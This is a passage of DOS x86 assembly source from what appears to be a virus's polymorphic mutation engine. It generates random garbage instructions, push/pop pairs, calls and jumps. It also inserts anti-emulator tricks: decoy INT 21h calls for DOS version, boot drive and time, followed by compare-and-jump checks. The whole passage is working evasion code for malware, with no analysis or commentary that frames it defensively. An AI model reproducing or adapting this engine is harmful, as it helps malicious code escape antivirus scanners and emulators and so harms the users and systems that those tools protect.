end_cmp_check:
pop ax
call instr_change
finish_mate:
stosb ; instruction base oc
call do_random_dx_0f
mov cl,al
pop ax
mov al,0c0h ; op code for reg+instr
cmp ah,04
jae only16
push ax
call do_random_dx_0f ; reg16 or reg8
mov ch,al
pop ax
ror ch,1
jc only16
dec byte ptr es:[di-1] ; bytes opcode = word opcode-1
ror ch,1
jnc only16
add al,20h ; high 8 bits
jmp end_8_bts
only16:
cmp byte ptr es:[di-1],08bh ; only if moving
jne finishing_mate
cmp byte ptr ds:[ds_mody],00h
je check_for_es_change
push ax
call do_random_dx_0f
cmp al,02h
pop ax
ja check_for_es_change
add byte ptr es:[di-1],03h
mov ah,3 ; ds has eq second opcode as bx
jmp end_8_bts
check_for_es_change:
cmp byte ptr ds:[es_mody],00h
je end_8_bts
push ax
call do_random_dx_0f
cmp al,05h
pop ax
jb end_8_bts
add byte ptr es:[di-1],03h
sub ah,ah ; es has eq second opcode as ax
jmp end_8_bts
finishing_mate:
push ax
call do_random_dx_0f
cmp al,06h
pop ax
jb end_8_bts
mov al,06h
stosb
mov byte ptr ds:[reg8bits],00h
jmp gen_mpos
end_8_bts:
add al,cl
mov cl,ah
call instr_change
stor_chkjmp:
stosb
cmp word ptr ds:[cmp_check],0001 ; encountered a cmp?
jne not_comparing ; but out of a jmp region?
call jumping_zone ; no, so do one
not_comparing:
pop cx
ret
one_byte_instruction:
pop ax
mov al,byte ptr ds:[si] ; dec/inc generation
add al,ah
stosb
mov cl,ah
call do_random_dx_0f
mov ah,cl
cmp al,07h ; INT 21h generation?
jb nocd21
call generate_int
jmp no_ah_disp
nocd21:
mov cl,06h
cmp al,cl
jb no_ah_disp
call do_antiemulator
no_ah_disp:
cmp byte ptr ds:[emu_trick],00h
je go_away_now
in al,40h
shr al,1
jc no_cd20
shr al,1
jc only_a_ret
mov ax,20cdh
jmp short stor_n_go
only_a_ret:
mov al,0c3h
stosb
jmp short exit_exit_put
no_cd20:
shr al,1
jc with_el
mov ax,4cb4h ; mov ah,4ch
jmp short sto21_n_go
with_el:
mov al,0b8h
stosb
in al,40h ; random retrun code
mov ah,4ch ; mov ax,4cxxh
sto21_n_go:
stosw
mov ax,21cdh ; int 21h
stor_n_go:
stosw
exit_exit_put:
mov byte ptr ds:[emu_trick],00h
go_away_now:
pop cx
ret
not_nop:
mov al,0f7h ; not/neg
stosb
call do_random_dx_0f
mov cl,al
pop ax
push cx
mov al,byte ptr ds:[si] ; basic opcode
add al,ah ; register dependant
shr cl,1
jc isneg
add al,08h ; change to not
isneg:
pop cx
cmp byte ptr ds:[push_nr],2 ; max pushes nested
ja nopush
cmp cl,2
ja nopush
jmp dopushpop ; do push
nopush:
stosb
pop cx
ret
rolling:
mov al,byte ptr ds:[si]
stosb ; rol/ror... base oc
mov al,0c0h
call do_random_dx_0f
mov cl,al
pop ax
cmp cl,06h
jne no_increment
inc cl
no_increment:
mov al,0c0h ; the base
call conv16to8 ; 8 or 16 bit instruction?
add al,ah
call instr_change
stosb ; write the reg/op dipendant byte
pop cx
ret
three_bytes_instruction:
cmp al,8 ;mov reg,immediate
je doalea
cmp al,9 ;mov reg,[imm]
je domemcp
cmp al,0ah
je do_real_lea
mov al,083h ; write the fixed first byte
stosb
reget:
call do_random_dx_0f ; select which 3 bytes to do
mov cl,al
cmp cl,7
jne end_cmp_imm_check
mov byte ptr ds:[cmp_check],1
jmp short end_cmp_imm_check
do_compare:
push cx
call do_random_dx_0f
cmp ah,04h
je do_compare
push ax
mov al,83h
stosb
mov cl,7
mov al,0c0h
jmp short jch_npt
end_cmp_imm_check:
mov al,byte ptr ds:[si]
jch_npt:
call instr_change ; generate instruction
mov bl,al
pop ax
mov al,bl
call conv16to8 ; 16 or 8 bit instruction?
add al,ah
stosb
mov bx,0ffh ; select the random immediate
mov dx,bx
call do_random
jmp stor_chkjmp ; check for cmp and store
doalea:
mov cl,0b8h
pop ax
cmp ah,4 ; may we create a 8 bit mov?
jae mov16breg ; yeah, so select randomly which
push ax
in al,40h
ror al,1
jnc dowith16b
mov byte ptr ds:[reg8bits],1
mov cl,0b0h ; mov reg8_low,imm
ror al,1
jnc dowith16b
add cl,4 ; high 8 bits
dowith16b:
pop ax
mov16breg:
mov al,cl
add al,ah
stosb ; mov reg,immediate
jmp gen_mpos
do_real_lea:
mov al,08dh ; store first lea byte
stosb
pop ax ; ah = used register
mov cl,ah
mov al,06h
call instr_change
stosb
jmp gen_mpos
domemcp:
in al,40h ; select segment
shr al,1
jnc no_seg_change ; nc? only DS:
shr al,1
jc change_to_cs ; c? put CS:
mov al,026h ; nc? put ES:
stosb
jmp no_seg_change
change_to_cs:
mov al,02eh ; CS:
stosb
no_seg_change:
mov al,08bh
stosb ; mov reg,seg:[imm]
pop ax
mov cl,ah
mov al,06h
call instr_change
stosb
gen_mpos:
mov bx,07fffh ;select immediate
mov dx,bx
call do_random
stosb
xchg al,ah
cmp byte ptr ds:[reg8bits],1
je no_2_imms ; was an 8 bit instruction?
stosb
no_2_imms:
pop cx
ret
do_random_dx_0f:
mov bx,07h
mov dx,bx
do_random:
call real_random
cmp al,byte ptr ds:[last_random] ; equal as last used?
jne isokrandom
call real_random
isokrandom:
mov byte ptr ds:[last_random],al
ret
last_random db 0ffh
real_random:
in al,40h
mov ah,al
in al,40h
ror al,2
xor al,ah
and ax,dx
cmp ax,bx
ja real_random
end_real_random:
ret
instr_change:
cmp cl,00h ; generate new instruction
je finish_instr_change ; based on input register.
add al,08h
dec cl
jmp instr_change
finish_instr_change:
ret
conv16to8:
cmp ah,4
jae avante ; only from ax to dx
push ax
call do_random_dx_0f
mov ch,al
ror ch,1
pop ax
jnc avante ; do 8 or 16?
sub byte ptr es:[di-1],1
ror ch,1
jnc avante
add al,04 ; low 8 bits or high 8?
avante:
ret
int10_16:
cmp ch,0ch
ja no_get_cpos
mov ah,03h ; Get cursor position
jmp store_int_10
no_get_cpos:
cmp ch,0dh
ja no_int10
mov ah,0fh ; Get current video mode
jmp store_int_10
no_int10:
cmp ch,0eh
ja no_get_keystroke
mov ah,01h ; Get Keystroke
push ax
in al,40h
rol al,1
pop ax
jc store_int_16
inc ah ; Get shift states
jmp store_int_16
no_get_keystroke:
mov ah,09h ; Get KBD functionality
push ax
in al,40h
mov cl,al
rol cl,1
pop ax
jc store_int_16
inc ah
; get KBD id
rol cl,1
jc store_int_16
add ah,07h ; check for keystroke
store_int_16:
stosw
mov ax,16cdh ; int 16h
jmp sto_n_xit
store_int_10:
stosw
mov ax,10cdh ; int 10h
sto_n_xit:
stosw
jmp look_4_int_jmp
generate_int:
doint:
dec di
mov bx,0fh
mov dx,bx
call do_random
mov ch,al ; rnd in ch
mov al,0b4h ; MOV ah,
cmp byte ptr ds:[nocx],01h
je go_on_ah
cmp byte ptr ds:[count_reg],02h
jbe go_on_ah ; togli se non usi AX x cnt
cmp byte ptr ds:[count_reg],03h ; is BX as counter?
je lamah_jump
cmp byte ptr ds:[point_reg],03h ; is BX as pointer?
lamah_jump:
je intwithacd ; those with AX,CX,DX
cmp ch,1
jbe es_bx_oper
cmp ch,0ch
jae int10_16
cmp ch,0bh
jae es_bx_oper
cmp ch,4
jbe intwithacd
cmp ch,6
jbe go_on_ah
cmp ch,9
ja allocmem
cmp ch,7
je getpsp
mov ah,30h ; dos version
jmp storeandint
go_on_ah:
jmp onlyahint
es_bx_oper:
cmp byte ptr ds:[es_mody],00h
je no_es_modify
cmp ch,0bh
jb no_get_dta
ja get_indos_flag
mov ah,02fh ; get dta
jmp storeandint
get_indos_flag:
mov ah,034h
jmp storeandint ; get address indos flag
no_get_dta:
cmp ch,00h
je getintvec
mov ah,52h ; get list of the lists
jmp storeandint
getintvec:
mov ah,35h ; getintvec
jmp storeandint
no_es_modify:
cmp ch,0bh
je space_stuff
cmp ch,00h
je another_one
mov ah,51h ; get psp adress
jmp storeandint
space_stuff:
mov ah,36h ; get free disk space C:
stosw
mov ax,03b2h ; mov dl,03
jmp storeandint
another_one:
mov al,0b8h
stosb
mov ax,6601h ; get codepage
jmp storeandint
getpsp:
mov ah,62h ; get psp
jmp storeandint
intwithacd:
cmp ch,3
jae getbdrive
mov ah,06h ; ah=06h
stosw
mov al,0b2h ; mov dl
mov ah,0ffh ; ffh
jmp storeandint
allocmem:
mov ah,48h ; allocate mem
stosw
mov al,0bbh ; in bx max mem avaiable
stosb
sub ax,ax
dec ax ; bx=ffffh
jmp storeandint
getbdrive:
mov al,0b8h
stosb
mov ax,3305h
cmp ch,4
je storeandint
sub al,al
mov ah,058h
jmp storeandint
onlyahint:
mov bx,02h
mov dx,03h
push ax
call do_random
mov ch,al
pop ax
okah:
cmp ch,1
je getcdrive
cmp ch,2
je getveryfl
mov ah,0bh ; get stdin status
jmp storeandint
getveryfl:
mov ah,054h ; get verify flag
jmp storeandint
getcdrive:
mov ah,019h ; get default drive
storeandint:
stosw
mov ax,021cdh ; int 21h
stosw
look_4_int_jmp:
cmp byte ptr ds:[cmp_check],1
je icantint
in al,40h
rol al,1
jc icantint
mov byte ptr ds:[cmp_check],1
call do_compare
icantint:
ret
dopushpop:
dec di
inc byte ptr ds:[push_nr] ; increment the numba of pushes
push ax
mov bx,0ah
mov dx,0fh
call do_random
xchg al,ah
cmp ah,08h
jb no_segment_push
mov al,06h ; push es
cmp ah,08h
je add_n_store
add al,08h ; push cs
cmp ah,09h
je add_n_store
add al,10h ; push ds
jmp short add_n_store
no_segment_push:
mov al,50h ; push a reg
add al,ah
add_n_store:
stosb
call random_foo_instructions ; some shit between
call do_random_dx_0f
cmp al,06h
pop ax
jb no_pop_segment
mov al,07h ; pop es
cmp byte ptr ds:[es_mody],00h
je try_pop_ds
push ax
in al,40h ; cdanncaddacnjdcanjndca
ror al,1
pop ax
jc store_pop
try_pop_ds:
add al,18h ; pop ds
cmp byte ptr ds:[ds_mody],00h
jne store_pop
no_pop_segment:
mov al,58h ; pop with the selected one
add al,ah
store_pop:
stosb
pop cx
dec byte ptr ds:[push_nr] ; number of pushes curr. active
ret
jumping_zone:
mov byte ptr ds:[cmp_check2],1 ; lock jumping
mov bx,06h
mov dx,07h
call do_random
cmp al,06h
jne conditional_jump
jump_short_crea:
mov al,0ebh ; jmp short
jmp store_jump
conditional_jump:
mov ah,al ; jmp type
mov al,72h ; jmp base
add al,ah
store_jump:
stosb ; write jmp
retry_cond_jump:
push di
stosb ; where will jump
call random_foo_instructions
mov ax,di
pop di
push ax
sub ax,di
dec ax
cmp ax,7fh
jbe ok_lenght_jump
pop ax
jmp retry_cond_jump
ok_lenght_jump:
stosb ; put the bytes to jump
pop di
mov byte ptr ds:[cmp_check],0 ; reset both checks
mov byte ptr ds:[cmp_check2],0
ret
random_foo_instructions:
call do_random_dx_0f ; how much foo
cmp al,0
je random_foo_instructions
cmp byte ptr ds:[emu_trick],01h
jne no_Adding
inc al
inc al
no_Adding:
mov cl,al
sub ch,ch
call do_the_random ; generate foo instructions
ret
ob_oc db 98h,0f8h,0cch,0f9h,0fch,0fdh,0f5h,0cch ; one byters
one_byters:
call do_random_dx_0f
sub ah,ah
mov bx,offset ob_oc
add bx,ax
mov al,byte ptr ds:[bx]
stosb
ret
do_antiemulator:
cmp byte ptr ds:[cmp_check2],01h
jne cont_antiemu
jmp end_antiemu
cont_antiemu:
mov cl,ah
call do_random_dx_0f
mov ah,cl
cmp al,02h
je get_bdrive
cmp byte ptr ds:[nocx],01h
je cant_use
cmp byte ptr ds:[count_reg],01h ; cx
jne canuse
cant_use:
jmp end_antiemu
canuse:
cmp al,01h
je get_dos_ver
cmp al,06h
jae set_wrong_time
cmp al,03h
je one_byters
jmp do_a_call
set_wrong_time:
cmp al,06h
je withcl
mov ah,0b5h ; mov ch,
mov dl,19h
jmp short get_rnd_tset
withcl:
mov ah,0b1h ; mov cl,
mov dl,03dh
get_rnd_tset:
in al,40h
cmp al,dl
jb get_rnd_tset
xchg al,ah ; store the mov
stosw
mov byte ptr ds:[nocx],01h ; enable no cx change
call random_foo_instructions ; garbage instructions
mov byte ptr ds:[nocx],0ffh ; enable cx changing
mov ax,2db4h ; mov ah,2dh
stosw
xor dl,dl ; test al
xor dh,dh ; compare with 0
mov cl,03h ; jne
jmp store_and_jump
get_dos_ver:
cmp byte ptr ds:[count_reg],03h ; bx
je end_antiemu
cmp byte ptr ds:[point_reg],03h
je end_antiemu
mov ax,30b4h ; get dos version
stosw
mov cl,01h ; JAE
in al,40h
ror al,1
jc ok_this
add cl,04h ; JA
ok_this:
and al,011b ; 0 - 3
mov dh,al
xor dl,dl
mov cl,01h
jmp store_and_jump
get_bdrive:
cmp byte ptr ds:[count_reg],02h ; is dx usable?
je end_antiemu
mov al,0b8h ; mov ax,
stosb
mov ax,3305h ; get boot drive
stosw
mov dl,02h ; check DL
xor dh,dh ; compare with 00h
mov cl,03h ; JNE
store_and_jump:
mov ax,21cdh ; int 21h
stosw
mov al,82h ; cmp
stosb
mov al,0f8h ; cmp base
add al,dl ; dl contains register
mov ah,dh ; dh contains value
stosw
mov byte ptr ds:[emu_trick],01h
mov byte ptr ds:[cmp_check2],01h
mov al,cl ; cl contains type of jump
call conditional_jump
mov byte ptr ds:[emu_trick],00h
mov byte ptr ds:[cmp_check2],00h
end_antiemu:
ret
do_a_call:
push ax
mov al,0e8h ; make a CALL
stosb
push di
stosw
call random_foo_instructions ; some shit
pop si
mov cx,di
sub cx,si ; calculate offset
dec cx
dec cx
mov word ptr es:[si],cx ; here we will CALL
call random_foo_instructions ; again some shit
inc byte ptr ds:[push_nr]
pop ax ; AH = usable register
push cx
jmp no_pop_segment ; pop the IP
instructions:
; the data below this line is of use by the poly to create some of the
; various possible operations on registers in the trash generation part
;ONE BYTE ONLY
inc_16 db 040h ; INC REG16
dec_16 db 048h ; DEC REG16
mov_rr16 db 08bh ; general first byte
; + 0 (03h) ADD
; + 8 (0bh) OR
; + 10 (13h) ADC
; + 18 (1bh) SBB
; + 20 (23h) AND
; + 28 (2bh) SUB
; + 30 (33h) XOR
; + 38 (3bh) CMP
math_rr16 db 03h ; basic opcode
not_neg db 0d0h
rot_1 db 0d1h ; ROL/ROR/SHL/SHR/RCR/RCL/SAR/SAL REG16,1
rot_cl db 0d3h ; ROL REG16,CL
; +0h (0c0h) ADD
; +8h (0c8h) OR
; +10h (0d0h) ADC
; +18h (0d8h) SBB
; +20h (0e0h) AND
; +28h (0e8h) SUB
; +30h (0f0h) XOR
; +38h (0f8h) CMP
add_r16i db 0c0h ; ADD REG16,IMMEDIATE 2 byte
lea_reg db 0b8h ; LEA REG16,something
smpe_encrypted_end:
; Poly data start - This will be only in memory!
poly_data_mem:
enc_lenght dw 00h
last_done db 00h
reg8bits db 00h
cmp_check db 00h
cmp_check2 db 00h
count_reg db 0ffh
point_reg db 0ffh
pointer_di dw 00h
secphs dw 00h
isword db 00h
isrolror db 00h
push_nr db 00h
can_doda db 00h
es_mody db 00h ; 00 don't modify, 01 can modify
ds_mody db 00h ; 00 don't modify, 01 can modify
counter_pos dw 00h
emu_trick db 00h
inverse db 00h
nocx db 0ffh
seg_sta db 0ffh
; Poly data end
poly_data_mem_end: